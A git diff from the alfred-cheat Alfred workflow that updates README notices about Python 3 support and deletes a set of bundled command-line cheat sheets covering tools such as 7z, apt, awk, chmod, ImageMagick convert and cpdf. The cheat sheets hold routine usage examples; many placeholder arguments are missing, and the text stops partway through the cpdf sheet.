diff --git a/README.md b/README.md index e43ddc5..77c8881 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,11 @@ -# Alfred-cheat ![GitHub All Releases](https://img.shields.io/github/downloads/wayneyaoo/alfred-cheat/total.svg) +# Alfred-cheat ![GitHub All Releases](https://img.shields.io/github/downloads/wayneyaoo/alfred-cheat/total.svg) **Start writing your very own cheat sheets in your way and make them searchable using Alfred!** # Notice -- If you have any question about the freshness of this project, checkout this [issue](https://github.com/wayneyaoo/alfred-cheat/issues/25). +- Thanks to [@giovannicoppola](https://github.com/giovannicoppola) for porting a [python3 version dependency](https://github.com/NorthIsUp/alfred-workflow-py3) so that this workflow works on macOS >= 12.3 now where default Python version is Python3. Starting from alfred-cheat 1.2.1, the workflow requires Python3 to run, and any version lower than 1.2.1 requires python2. So depending on you macOS version, you migth want to figure out whether you need to install an extra python. -- If you're on macOS Monterey 12.3, and it doesn't work, checkout this [issue](https://github.com/wayneyaoo/alfred-cheat/issues/26). +- I'm fully switching to Linux DE for personal tasks and Windows for daily work hence won't be able to put a lot of effort on this workflow. It served me well for a long time. I'm still open to new Pull Request if you think new features should be added. But generally this workflow doesn't have a big scope and should always work. # Demo diff --git a/assets/cheatsheets/7z b/assets/cheatsheets/7z deleted file mode 100644 index 12decb4..0000000 --- a/assets/cheatsheets/7z +++ /dev/null @@ -1,49 +0,0 @@ ---- -tags: [ compression ] ---- -7z [Args] [archive.7z] [files / folders to archive] -A file archiver with highest compression ratio - -Args: -a add -d delete -e extract -l list -t test -u update -x extract with full paths - - DO NOT USE the 7-zip format for backup purpose on Linux/Unix. - 7-zip does not store the owner/group of the file. - - On Linux/Unix, in order to backup directories you must use tar : - - to backup a directory : tar cf - directory | 7z a -si directory.tar.7z - - to restore your backup : 7z x -so directory.tar.7z | tar xf - - - If you want to send files and directories (not the owner of file) to others - Unix/MacOS/Windows users, you can use the 7-zip format. - -Example 1: Quick and Easy - Add all files in dir1 to archive.7z with Default Settings. -7z a archive.7z dir1 - -Example 2: Add all files in dir1 to archive.7z with Max Compression -7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z dir1 - - -t7z 7z archive - -m0=lzma lzma method - -mx=9 level of compression = 9 (ultra) - -mfb=64 number of fast bytes for lzma = 64 - -md=32m dictionary size = 32 Mb - -ms=on solid archive = on - -Example 3: Add (store) all files in dir1 to archive.7z with No Compression -7z a -m0=copy archive.7z dir1 - -7z exit codes: - - 0 normal (no errors or warnings) - 1 warning (non-fatal errors) - 2 fatal error - 7 bad cli arguments - 8 not enough memory for operation - 255 process was interrupted diff --git a/assets/cheatsheets/ab b/assets/cheatsheets/ab deleted file mode 100644 index 304aaa2..0000000 --- a/assets/cheatsheets/ab +++ /dev/null @@ -1,5 +0,0 @@ -# To send 100 requests with a concurency of 50 requests to a URL: -ab -n 100 -c 50 - -# To send requests for 30 seconds with a concurency of 50 requests to a URL: -ab -t 30 -c 50 diff --git a/assets/cheatsheets/acl b/assets/cheatsheets/acl deleted file mode 100644 index edd70c9..0000000 --- a/assets/cheatsheets/acl +++ /dev/null @@ -1,29 +0,0 @@ -# Get ACL -getfacl - -# Add or modify ACL on file -setfacl -m u:username:rX -setfacl -m g:groupname:rw -setfacl -m o::- - -# or provide all permissions at once -setfacl -m u::rwx,g:groupname:rX,o::- - -# Copy ACL from file-A to file-B -getfacl file-A | setfacl -M - file-B - -# Apply ACL recursivelly to directory -setfacl -R -m u:username:rX - -# Delete ACL -setfacl -x u:username,g:groupname - -# Delete all ACL on file, including default -setfacl -b - -# Same operations works for default ACLs -setfacl -m d:u:username:rx -setfacl -x d:u:username - -# Delete only default ACLs -setfacl -k diff --git a/assets/cheatsheets/ag b/assets/cheatsheets/ag deleted file mode 100644 index 528dab0..0000000 --- a/assets/cheatsheets/ag +++ /dev/null @@ -1,11 +0,0 @@ -# To exclude a directory from a search: -ag --ignore-dir= - -# To exclude a file from a search: -ag --ignore= - -# To force colorization: -ag --color | less -R - -# To search for in files whose names match : -ag -G diff --git a/assets/cheatsheets/alias b/assets/cheatsheets/alias deleted file mode 100644 index 76eb813..0000000 --- a/assets/cheatsheets/alias +++ /dev/null @@ -1,8 +0,0 @@ -# To show a list of your current shell aliases: -alias - -# To alias `ls -l` to `ll`: -alias ll='ls -l' - -# To remove alias: -unalias ll diff --git a/assets/cheatsheets/ansi b/assets/cheatsheets/ansi deleted file mode 100644 index bb5a8b0..0000000 --- a/assets/cheatsheets/ansi +++ /dev/null @@ -1,72 +0,0 @@ -# Reset -Color_Off='\e[0m' # Text Reset - -# Regular Colors -Black='\e[0;30m' # Black -Red='\e[0;31m' # Red -Green='\e[0;32m' # Green -Yellow='\e[0;33m' # Yellow -Blue='\e[0;34m' # Blue -Purple='\e[0;35m' # Purple -Cyan='\e[0;36m' # Cyan -White='\e[0;37m' # White - -# Bold -BBlack='\e[1;30m' # Black -BRed='\e[1;31m' # Red -BGreen='\e[1;32m' # Green -BYellow='\e[1;33m' # Yellow -BBlue='\e[1;34m' # Blue -BPurple='\e[1;35m' # Purple -BCyan='\e[1;36m' # Cyan -BWhite='\e[1;37m' # White - -# Underline -UBlack='\e[4;30m' # Black -URed='\e[4;31m' # Red -UGreen='\e[4;32m' # Green -UYellow='\e[4;33m' # Yellow -UBlue='\e[4;34m' # Blue -UPurple='\e[4;35m' # Purple -UCyan='\e[4;36m' # Cyan -UWhite='\e[4;37m' # White - -# Background -On_Black='\e[40m' # Black -On_Red='\e[41m' # Red -On_Green='\e[42m' # Green -On_Yellow='\e[43m' # Yellow -On_Blue='\e[44m' # Blue -On_Purple='\e[45m' # Purple -On_Cyan='\e[46m' # Cyan -On_White='\e[47m' # White - -# High Intensity -IBlack='\e[0;90m' # Black -IRed='\e[0;91m' # Red -IGreen='\e[0;92m' # Green -IYellow='\e[0;93m' # Yellow -IBlue='\e[0;94m' # Blue -IPurple='\e[0;95m' # Purple -ICyan='\e[0;96m' # Cyan -IWhite='\e[0;97m' # White - -# Bold High Intensity -BIBlack='\e[1;90m' # Black -BIRed='\e[1;91m' # Red -BIGreen='\e[1;92m' # Green -BIYellow='\e[1;93m' # Yellow -BIBlue='\e[1;94m' # Blue -BIPurple='\e[1;95m' # Purple -BICyan='\e[1;96m' # Cyan -BIWhite='\e[1;97m' # White - -# High Intensity backgrounds -On_IBlack='\e[0;100m' # Black -On_IRed='\e[0;101m' # Red -On_IGreen='\e[0;102m' # Green -On_IYellow='\e[0;103m' # Yellow -On_IBlue='\e[0;104m' # Blue -On_IPurple='\e[0;105m' # Purple -On_ICyan='\e[0;106m' # Cyan -On_IWhite='\e[0;107m' # White diff --git a/assets/cheatsheets/ansible b/assets/cheatsheets/ansible deleted file mode 100644 index ab47fc4..0000000 --- a/assets/cheatsheets/ansible +++ /dev/null @@ -1,5 +0,0 @@ ---- -tags: [ orchestration ] ---- -# To run a command on multiple instances at once - using `servers` group from `inventory.yml`: -ansible -u ansible -i inventory.yml servers -m shell -a "ls /var" diff --git a/assets/cheatsheets/ansible-galaxy b/assets/cheatsheets/ansible-galaxy deleted file mode 100644 index d64ce4c..0000000 --- a/assets/cheatsheets/ansible-galaxy +++ /dev/null @@ -1,20 +0,0 @@ ---- -tags: [ orchestration ] ---- -# To install a role: -ansible-galaxy install . - -# To remove a role: -ansible-galaxy remove . - -# To list installed roles: -ansible-galaxy list - -# To search for a given role: -ansible-galaxy search - -# To create a new role: -ansible-galaxy init - -# To get the information for the role # or a collection if you replace `role` with `collection`: -ansible-galaxy role info . diff --git a/assets/cheatsheets/ansible-vault b/assets/cheatsheets/ansible-vault deleted file mode 100644 index 8e3b3d2..0000000 --- a/assets/cheatsheets/ansible-vault +++ /dev/null @@ -1,5 +0,0 @@ ---- -tags: [ orchestration ] ---- -# To enncrypt string using keyfile `backup_encryption_key`: -ansible-vault encrypt_string 'SupersecretPa$$phrase' --name 'backup_encryption_key' diff --git a/assets/cheatsheets/apk b/assets/cheatsheets/apk deleted file mode 100644 index e9474ad..0000000 --- a/assets/cheatsheets/apk +++ /dev/null @@ -1,17 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install a package: -apk add - -# To remove a package: -apk del - -# To update repos: -apk update - -# To upgrade all packages: -apk upgrade - -# To find a package: -apk search diff --git a/assets/cheatsheets/apparmor b/assets/cheatsheets/apparmor deleted file mode 100644 index 3a8cc9c..0000000 --- a/assets/cheatsheets/apparmor +++ /dev/null @@ -1,18 +0,0 @@ -# apparmor will protect a system by confining programs to a limited set of resources. - -# To activate a profile: -sudo aa-enforce usr.bin.firefox -# or -export _PROFILE_='usr.bin.firefox' sudo $(rm /etc/apparmor.d/disable/$_PROFILE_ ; cat /etc/apparmor.d/$_PROFILE_ | apparmor_parser -a ) - -# To disable a profile: -sudo aa-disable usr.bin.firefox -# or -export _PROFILE_='usr.bin.firefox' sudo $(ln -s /etc/apparmor.d/$_PROFILE_ /etc/apparmor.d/disable/ && apparmor_parser -R /etc/apparmor.d/$_PROFILE_) - -# To list profiles loaded: -sudo aa-status -# or -sudo apparmor_status - -# List of available profiles: /etc/apparmor.d/ diff --git a/assets/cheatsheets/apt b/assets/cheatsheets/apt deleted file mode 100644 index 66f465a..0000000 --- a/assets/cheatsheets/apt +++ /dev/null @@ -1,36 +0,0 @@ ---- -tags: [ packaging ] ---- -# To find packages matching : -apt search - -# To show information on a package: -apt show - -# To fetch package list: -apt update - -# To download and install the updates and (UNLIKE apt-get) install new necessary packages: -apt upgrade - -# To download and install the updates AND install new necessary packages -# AND remove packages that stand in the way of the upgrade - use with caution! -apt dist-upgrade - -# To perform a full system upgrade: -apt update && apt upgrade # use dist-upgrade carefully if needed - -# To install package(s): -apt install ... - -# To uninstall package(s): -apt remove ... - -# To remove automatically all unused packages: -apt autoremove - -# To list dependencies of a package: -apt depends ... - -# To remove packages and delete their config files: -apt purge ... diff --git a/assets/cheatsheets/apt-cache b/assets/cheatsheets/apt-cache deleted file mode 100644 index fe3cbee..0000000 --- a/assets/cheatsheets/apt-cache +++ /dev/null @@ -1,19 +0,0 @@ ---- -tags: [ packaging ] ---- -# To find packages matching : -apt-cache search - -# To display package records for the named package(s): -apt-cache show ... - -# To display reverse dependencies of a package: -apt-cache rdepends - -# To display package versions, reverse dependencies and forward dependencies of -# a package -apt-cache showpkg - -# To display package installation status and what version is available from -# its repository -apt-cache policy diff --git a/assets/cheatsheets/apt-get b/assets/cheatsheets/apt-get deleted file mode 100644 index 7473a7f..0000000 --- a/assets/cheatsheets/apt-get +++ /dev/null @@ -1,30 +0,0 @@ ---- -tags: [ packaging ] ---- -# To fetch package list: -apt-get update - -# To download and install package updates: -apt-get upgrade - -# To download and install the updates AND install new necessary packages -# AND remove any packages that stand in the way of the upgrade: -apt-get dist-upgrade - -# Full command: -apt-get update && apt-get dist-upgrade - -# To install a new package(s): -apt-get install ... - -# To download a package without installing it. (The package will be downloaded in your current working dir) -apt-get download - -# To change cache dir and archive dir (where .deb are stored): -apt-get -o Dir::Cache="/path/to/destination/dir/" -o Dir::Cache::archives="./" install ... - -# To show apt-get installed packages: -grep 'install ' /var/log/dpkg.log - -# To silently keep old configuration during batch updates: -apt-get update -o DPkg::Options::='--force-confold' ... diff --git a/assets/cheatsheets/aptitude b/assets/cheatsheets/aptitude deleted file mode 100644 index 2297819..0000000 --- a/assets/cheatsheets/aptitude +++ /dev/null @@ -1,17 +0,0 @@ ---- -tags: [ packaging ] ---- -# To find packages matching : -aptitude search - -# To display package records for the named package(s): -aptitude show ... - -# To install package(s): -aptitude install ... - -# To remove package(s): -aptitude remove ... - -# To remove unnecessary package: -aptitude autoclean diff --git a/assets/cheatsheets/aria2c b/assets/cheatsheets/aria2c deleted file mode 100644 index 1a06c66..0000000 --- a/assets/cheatsheets/aria2c +++ /dev/null @@ -1,12 +0,0 @@ -# To download a file: -# The url can be a http(s), ftp, .torrent file or even a magnet link -aria2c - -# To prevent downloading the .torrent file: -aria2c --follow-torrent=mem - -# Download 1 file at a time (-j) -# continuing (-c) any partially downloaded ones -# to the directory specified (-d) -# reading urls from the file (-i) -aria2c -j 1 -c -d ~/Downloads -i /path/to/file diff --git a/assets/cheatsheets/asciiart b/assets/cheatsheets/asciiart deleted file mode 100644 index 5656e3d..0000000 --- a/assets/cheatsheets/asciiart +++ /dev/null @@ -1,22 +0,0 @@ -# To show some text in ASCII Art: - -figlet Cheat -# ____ _ _ -# / ___| |__ ___ __ _| |_ -#| | | '_ \ / _ \/ _` | __| -#| |___| | | | __/ (_| | |_ -# \____|_| |_|\___|\__,_|\__| -# - - -# To have some text with color and other options: -# Show with a border -toilet -F border Cheat -# Basic show (filled) -toilet Cheat -# mmm # m -# m" " # mm mmm mmm mm#mm -# # #" # #" # " # # -# # # # #"""" m"""# # -# "mmm" # # "#mm" "mm"# "mm -# diff --git a/assets/cheatsheets/asciidoctor b/assets/cheatsheets/asciidoctor deleted file mode 100644 index 2ce15a2..0000000 --- a/assets/cheatsheets/asciidoctor +++ /dev/null @@ -1,128 +0,0 @@ -# headers -= h1 header -== h2 header - - -# blocks -[quote, Somebody, Who is somebody] -____ -Quote something -____ -// -NOTE: Some note -// -[WARNING] -==== -Some warning -==== - -# lists -.Un-ordered list with a title -* list item -** sub-list item -- hypen as sub-sub-list item -+ -that continues at the next line -- {blank} -+ ----- -complex content of an item ----- - -[%reversed,start=4] -.Ordered list; reversed, started at 4 -. ordered list item -.. ordered list sub-item -. another list item - -# separating adjacent lists (surrounded by blank lines) -//- - -# checklist -- [*] checked -- [x] also checked -- [ ] not checked - -Description list item:: definition -[horizontal] -Description list item #2:: definition - - -# links -Automatic link http://example.com or -http://example.com[link with title and attributes,role=external,window=_blank] -link:../README.adoc[Relative link to open the README file] - - -# cross reference links -[[an-anchor]]inline anchor, [#other-anchor]#applied to a phrase# -Reference to <> or to <> - - -# image -image:image.png[Alt text, title="Inline image"] - -.Block image title -[caption="Figure 1: ",link=http://example.com/image.png] -image::image.jpg[Alt text, 300, 200] - - -# code -.... -literal block -.... - -:variable: 123 -.Source code title -[source,asciidoc,subs="+quotes,attributes+",options="nowrap"] ----- -:toc: right # <1> -// with var substitution (attributes+) -:variable: definition, the value is {variable} -// with the markup substitution (+quotes) -// no wrapping long lines (nowrap) ----- -<1> Asciidoctor sytax for the table of content - -# include source code, stripping indentation -[source,asciidoc,indent=0] ----- -include::doc/document.adoc[lines=5..10] ----- - -# formatting -*bold*, **un**constrained -_italic_, __un__constrained -`monospace`, ``un``constrained -`[underline]#Underline text#` -`[overline]#overline text#` -`[line-through]#strikethrough#` -`[blue line-through]*bold blue and line-through*.` - -# comment -// text in the comment - -# horizontal rules (hr) -''' - -Non-breaking space {nbsp} -Break at the end of + -line - -# tables -.Table title -[caption="Table 2: "] -|=== -| Name | Description -// -| Asciidoctor -| Awesome way to write documentation -// -2+| This cell spans 2 columns -// -.2+| This cell spans 2 rows -// -| Line at the side of the spanned rows -| Another line -// -|=== diff --git a/assets/cheatsheets/asterisk b/assets/cheatsheets/asterisk deleted file mode 100644 index df2c02b..0000000 --- a/assets/cheatsheets/asterisk +++ /dev/null @@ -1,17 +0,0 @@ -# To connect to a running Asterisk session: -asterisk -rvvv - -# To issue a command to Asterisk from the shell: -asterisk -rx "" - -# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number: -asterisk -rx "channel originate SIP// application echo" - -# To print out the details of SIP accounts: -asterisk -rx "sip show peers" - -# To print out the passwords of SIP accounts: -asterisk -rx "sip show users" - -# To print out the current active channels: -asterisk -rx "core show channels" diff --git a/assets/cheatsheets/at b/assets/cheatsheets/at deleted file mode 100644 index 2827a45..0000000 --- a/assets/cheatsheets/at +++ /dev/null @@ -1,17 +0,0 @@ -# To schedule a one time task -at {time} -{command 0} -{command 1} -Ctrl-d - -# {time} can be either -now | midnight | noon | teatime (4pm) -HH:MM -now + N {minutes | hours | days | weeks} -MM/DD/YY - -# To list pending jobs -atq - -# To remove a job (use id from atq) -atrm {id} diff --git a/assets/cheatsheets/awk b/assets/cheatsheets/awk deleted file mode 100644 index 21ac8ba..0000000 --- a/assets/cheatsheets/awk +++ /dev/null @@ -1,17 +0,0 @@ -# To sum integers from a file or stdin, one integer per line: -printf '1\n2\n3\n' | awk '{ sum += $1} END {print sum}' - -# To use a specific character as separator to sum integers from a file or stdin: -printf '1:2:3' | awk -F ":" '{print $1+$2+$3}' - -# To print a multiplication table: -seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}' - -# To specify an output separator character: -printf '1 2 3' | awk 'BEGIN {OFS=":"}; {print $1,$2,$3}' - -# To execute commands only on rows that satisfy a certain condtion -printf "george jetson\nolive oyl\nbeetle bailey" | awk '$2=="bailey"{print $0}' -# -# To execute commands only on matching rows using regex -printf "george jetson\nolive oyl\nbeetle bailey" | awk '/ley$/{print $0}' diff --git a/assets/cheatsheets/bash b/assets/cheatsheets/bash deleted file mode 100644 index 5097eac..0000000 --- a/assets/cheatsheets/bash +++ /dev/null @@ -1,27 +0,0 @@ -# To implement a for loop: -for file in *; -do - echo $file found; -done - -# To implement a case command: -case "$1" -in - 0) echo "zero found";; - 1) echo "one found";; - 2) echo "two found";; - 3*) echo "something beginning with 3 found";; -esac - -# To turn on debugging: -set -x - -# To turn off debugging: -set +x - -# Retrieve N-th piped command exit status: -printf 'foo' | fgrep 'foo' | sed 's/foo/bar/' -echo ${PIPESTATUS[0]} # replace 0 with N - -# To create a lockfile: -( set -o noclobber; echo > my.lock ) || echo 'Failed to create lock file' diff --git a/assets/cheatsheets/bat b/assets/cheatsheets/bat deleted file mode 100644 index 08f65ca..0000000 --- a/assets/cheatsheets/bat +++ /dev/null @@ -1,14 +0,0 @@ -# Display a single file on the terminal: -bat - -# Display multiple files at once: -bat - -# Show and highlight non-printable characters: -bat -A - -# Display all supported languages: -bat --list-languages - -# Set the language for syntax highlighting: -bat --language > diff --git a/assets/cheatsheets/black b/assets/cheatsheets/black deleted file mode 100644 index 2b84cbd..0000000 --- a/assets/cheatsheets/black +++ /dev/null @@ -1,12 +0,0 @@ ---- -syntax: bash -tags: [ python, development ] ---- -# Formats the python code of the specified file or directory: -black - -# Checks if the code is already well-formatted: -black --check - -# Show the changes that would be applied to the code: -black --diff diff --git a/assets/cheatsheets/bower b/assets/cheatsheets/bower deleted file mode 100644 index 29987af..0000000 --- a/assets/cheatsheets/bower +++ /dev/null @@ -1,29 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install a package: -bower install - -# To install a package from github: -bower install / - -# To install a specific package locally: -bower install # - -# To install a package locally and save installed package into bower.json: -bower install --save - -# To retrieve info of a particular package: -bower info - -# To list local packages: -bower list - -# To search for a package by name: -bower search - -# To update a package to their newest version: -bower update - -# To remove a local package: -bower uninstall diff --git a/assets/cheatsheets/brew b/assets/cheatsheets/brew deleted file mode 100644 index 71a40f2..0000000 --- a/assets/cheatsheets/brew +++ /dev/null @@ -1,30 +0,0 @@ ---- -syntax: bash -tags: [ mac, deps ] ---- -# Update -brew update - -# Upgrade everything -brew upgrade - -# Upgrade specific formula -brew upgrade - -# Install formula -brew install - -# Install cask -brew install --cask - -# Uninstall -brew uninstall - -# List installed formulae -brew list - -# Fix -brew doctor - -# Clean up -brew cleanup diff --git a/assets/cheatsheets/bzip2 b/assets/cheatsheets/bzip2 deleted file mode 100644 index 867af21..0000000 --- a/assets/cheatsheets/bzip2 +++ /dev/null @@ -1,14 +0,0 @@ ---- -tags: [ compression ] ---- -# To compress a file (foo -> foo.bz2): -bzip2 -z foo - -# To decompress a file (foo.bz2 -> foo) -bzip2 -d foo.bz2 - -# To compress foo to stdout: -bzip2 -zc foo > foo.bz2 - -# To decompress foo.bz2 to stdout: -bzip2 -dc foo.bz2 diff --git a/assets/cheatsheets/cat b/assets/cheatsheets/cat deleted file mode 100644 index b9834fe..0000000 --- a/assets/cheatsheets/cat +++ /dev/null @@ -1,8 +0,0 @@ -# To display the contents of a file: -cat - -# To display file contents with line numbers -cat -n - -# To display file contents with line numbers (blank lines excluded) -cat -b diff --git a/assets/cheatsheets/cd b/assets/cheatsheets/cd deleted file mode 100644 index b6e928a..0000000 --- a/assets/cheatsheets/cd +++ /dev/null @@ -1,17 +0,0 @@ -# Go to the given directory: -cd path/to/directory - -# Go to home directory of current user: -cd - -# Go up to the parent of the current directory: -cd .. - -# Go to the previously chosen directory: -cd - - -# Go to a physical dir instead of default -L: -cd -P path/to/dir - -# Some people alias cd="cd -P" and pwd="pwd -P" -# So that `ls ..` and `cd ..; ls .` yield the same thing. diff --git a/assets/cheatsheets/cheat b/assets/cheatsheets/cheat deleted file mode 100644 index 0bfb78d..0000000 --- a/assets/cheatsheets/cheat +++ /dev/null @@ -1,14 +0,0 @@ -# To see example usage of a program: -cheat - -# To edit a cheatsheet -cheat -e - -# To list available cheatsheets -cheat -l - -# To search available cheatsheets -cheat -s - -# To get the current `cheat' version -cheat -v diff --git a/assets/cheatsheets/chmod b/assets/cheatsheets/chmod deleted file mode 100644 index 3af8ad6..0000000 --- a/assets/cheatsheets/chmod +++ /dev/null @@ -1,40 +0,0 @@ -# Add execute for all (myscript.sh) -chmod a+x myscript.sh - -# Set user to read/write/execute, group/global to read only (myscript.sh), symbolic mode -chmod u=rwx, go=r myscript.sh - -# Remove write from user/group/global (myscript.sh), symbolic mode -chmod a-w myscript.sh - -# Remove read/write/execute from user/group/global (myscript.sh), symbolic mode -chmod = myscript.sh - -# Set user to read/write and group/global read (myscript.sh), octal notation -chmod 644 myscript.sh - -# Set user to read/write/execute and group/global read/execute (myscript.sh), octal notation -chmod 755 myscript.sh - -# Set user/group/global to read/write (myscript.sh), octal notation -chmod 666 myscript.sh - -# Roles -u - user (owner of the file) -g - group (members of file's group) -o - global (all users who are not owner and not part of group) -a - all (all 3 roles above) - -# Numeric representations -7 - full (rwx) -6 - read and write (rw-) -5 - read and execute (r-x) -4 - read only (r--) -3 - write and execute (-wx) -2 - write only (-w-) -1 - execute only (--x) -0 - none (---) - -# Delete ACL number 0 (MacOS): -# See: `man -M /usr/share/man chmod` -/bin/chmod -a# 0 /path/to/file diff --git a/assets/cheatsheets/chown b/assets/cheatsheets/chown deleted file mode 100644 index e8dcffa..0000000 --- a/assets/cheatsheets/chown +++ /dev/null @@ -1,17 +0,0 @@ -# Change a file's owner: -chown - -# Change a file's owner and group: -chown : - -# Set user to match group value -chown : - -# Set group to match user value -chown : - -# Change a directory's owner recursively: -chown -R - -# Change ownership to match another file: -chown --reference= diff --git a/assets/cheatsheets/comm b/assets/cheatsheets/comm deleted file mode 100644 index e073479..0000000 --- a/assets/cheatsheets/comm +++ /dev/null @@ -1,8 +0,0 @@ -# Print lines appearing in both and : -comm -12 <(sort file1.csv) <(sort file2.csv) - -# Print lines appearing only in : -comm -23 - -# For diffing CSVs from a database, consider: -# https://aswinkarthik.github.io/csvdiff/ diff --git a/assets/cheatsheets/conda b/assets/cheatsheets/conda deleted file mode 100644 index 6dfe283..0000000 --- a/assets/cheatsheets/conda +++ /dev/null @@ -1,22 +0,0 @@ ---- -tags: [ packaging ] ---- -# To list environments -conda env list - -# To initialise an environment -conda create --name 'ENVNAME' - -# To initialise an environment with python -conda create --name 'ENVNAME' python=3.10 - -# To install from requirements.txt -conda install --file requirements.txt - -# To activate a virtual environment -conda activate 'ENVNAME' - -# To remove and environment -conda env remove --name 'ENVNAME' -# or -conda env remove --prefix /path/to/env diff --git a/assets/cheatsheets/convert b/assets/cheatsheets/convert deleted file mode 100644 index 8c1dab1..0000000 --- a/assets/cheatsheets/convert +++ /dev/null @@ -1,27 +0,0 @@ -# To convert a file from jpg to pdf -convert original.jpg converted.pdf - -# To resize an image to a fixed width and proportional height: -convert original.jpg -resize 100x converted.jpg - -# To resize an image to a fixed height and proportional width: -convert original.jpg -resize x100 converted.jpg - -# To resize an image to a fixed width and height: -convert original.jpg -resize 100x100 converted.jpg - -# To resize an image and simultaneously change its file type: -convert original.jpg -resize 100x converted.png - -# To resize all of the images within a directory: -for file in `ls original/image/path/`; - do new_path=${file%.*}; - new_file=`basename $new_path`; - convert $file -resize 150 converted/image/path/$new_file.png; -done - -# To convert an N page pdf to N images (will autonumber): -convert -density 150 arch1.pdf -quality 80 'output.jpg' - -# To convert an N page pdf to N images with explicit filename formatting: -convert -density 150 arch1.pdf -quality 80 'output-%d.jpg' diff --git a/assets/cheatsheets/cp b/assets/cheatsheets/cp deleted file mode 100644 index 93bb3dd..0000000 --- a/assets/cheatsheets/cp +++ /dev/null @@ -1,19 +0,0 @@ -# To copy a file: -cp ~/Desktop/foo.txt ~/Downloads/foo.txt - -# To copy a directory: -cp -r ~/Desktop/cruise_pics/ ~/Pictures/ - -# To create a copy but ask to overwrite if the destination file already exists: -cp -i ~/Desktop/foo.txt ~/Documents/foo.txt - -# To create a backup file with date: -cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} - -# To copy a symlink that points to a directory (and is thus soft) and not -# 'expand' the symlink (aka, preserve its nature as a symlink): -# Note this does NOT work (note trailing '/'): cp -P /path/to/symlink-dir/ -cp -P - -# To copy sparsely: -cp --sparse=always diff --git a/assets/cheatsheets/cpan b/assets/cheatsheets/cpan deleted file mode 100644 index 5280fa1..0000000 --- a/assets/cheatsheets/cpan +++ /dev/null @@ -1,42 +0,0 @@ ---- -tags: [ perl ] ---- -# install one or more modules -cpan [Another::Module] - -# force install a module -cpan -fi - -# install a module in local::lib -cpan -I - -# install a module while skipping all tests -cpan -T - -# see a module changes, without installing it -cpan -C - -# see a module's details, without installing it -cpan -D - -# list close matches to a module's name -cpan -x - -# download a distro, without installing it -cpan -g - -# list all installed modules with their versions -cpan -l - -# create a CPAN Autobundle -cpan -a - -# install the module in the current distro directory -cpan . - -# start the CPAN shell -cpan -cpan -s - -# read the complete cpan docs -perldoc cpan diff --git a/assets/cheatsheets/cpanm b/assets/cheatsheets/cpanm deleted file mode 100644 index d73ea10..0000000 --- a/assets/cheatsheets/cpanm +++ /dev/null @@ -1,35 +0,0 @@ ---- -tags: [ perl ] ---- -see https://github.com/miyagawa/cpanminus - -# install Some::Module -cpanm - -# install from CPAN distribution path, like AUTHOR/Some-Module-1.00.tar.gz -cpanm - -# install from URL -cpanm - -# install from a local file -cpanm - -# Configure interactively -cpanm --interactive - -# install from local directory -cpanm . - -# install all the deps for the current directory -cpanm --installdeps . - -# install Some::Module and all non-core deps into extlib -cpanm -L extlib - -# use the fast-syncing mirror -cpanm --mirror - -# use only the HTTPS mirror -cpanm --from https://some.mirror.host/ - diff --git a/assets/cheatsheets/cpdf b/assets/cheatsheets/cpdf deleted file mode 100644 index 61c7243..0000000 --- a/assets/cheatsheets/cpdf +++ /dev/null @@ -1,132 +0,0 @@ -# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to -# out.pdf -cpdf in.pdf 1-3,6 -o out.pdf - -# Select the even pages (2, 4, 6...) from in.pdf and write those pages -# to out.pdf -cpdf in.pdf even -o out.pdf - -# Using AND to perform several operations in order, here merging two -# files together and adding a copyright stamp to every page. -cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf - -# Read control.txt and use its contents as the command line arguments -# for cpdf. -cpdf -control control.txt - -# Merge in.pdf and in2.pdf into one document, writing to out.pdf. -cpdf -merge in.pdf in2.pdf -o out.pdf - -# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf, -# Chunk002.pdf etc -cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10 - -# Split in.pdf on bookmark boundaries, writing each to a file whose -# name is the bookmark label -cpdf -split-bookmarks 0 in.pdf -o @N.pdf - -# Scale both the dimensions and contents of in.pdf by a factor of two -# in x and y directions. -cpdf -scale-page "2 2" in.pdf -o out.pdf - -# Scale the pages in in.pdf to fit the US Letter page size, writing to -# out.pdf -cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf - -# Shift the contents of the page by 26 pts in the x direction, and 18 -# millimetres in the y direction, writing to out.pdf -cpdf -shift "26pt 18mm" in.pdf -o out.pdf - -# Rotate the contents of the pages in in.pdf by ninety degrees and -# write to out.pdf. -cpdf -rotate-contents 90 in.pdf -o out.pdf - -# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle. -cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf - -# Encrypt using 128bit PDF encryption using the owner password 'fred' -# and the user password 'joe' -cpdf -encrypt 128bit fred joe in.pdf -o out.pdf - -# Decrypt using the owner password, writing to out.pdf. -cpdf -decrypt in.pdf owner=fred -o out.pdf - -# Compress the data streams in in.pdf, writing the result to out.pdf. -cpdf -compress in.pdf -o out.pdf - -# Decompress the data streams in in.pdf, writing to out.pdf. -cpdf -decompress in.pdf -o out.pdf - -# List the bookmarks in in.pdf. This would produce: -cpdf -list-bookmarks in.pdf - -# Outputs: - -# Add bookmarks in the same form from a prepared file bookmarks.txt to -# in.pdf, writing to out.pdf. -cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf - -# Use the Split style to build a presentation from the PDF in.pdf, -# each slide staying 10 seconds on screen unless manually advanced. -# The first page, being a title does not move on automatically, and -# has no transition effect. -cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf - -# Stamp the file watermark.pdf on to each page of in.pdf, writing the -# result to out.pdf. -cpdf -stamp-on watermark.pdf in.pdf -o out.pdf - -# Add a page number and date to all the pages in in.pdf using the -# Courier font, writing to out.pdf -cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf - -# Two up impose the file in.pdf, writing to out.pdf -cpdf -twoup-stack in.pdf -o out.pdf - -# Add extra blank pages after pages one, three and four of a document. -cpdf -pad-after 1,3,4 in.pdf -o out.pdf - -# List the annotations in a file 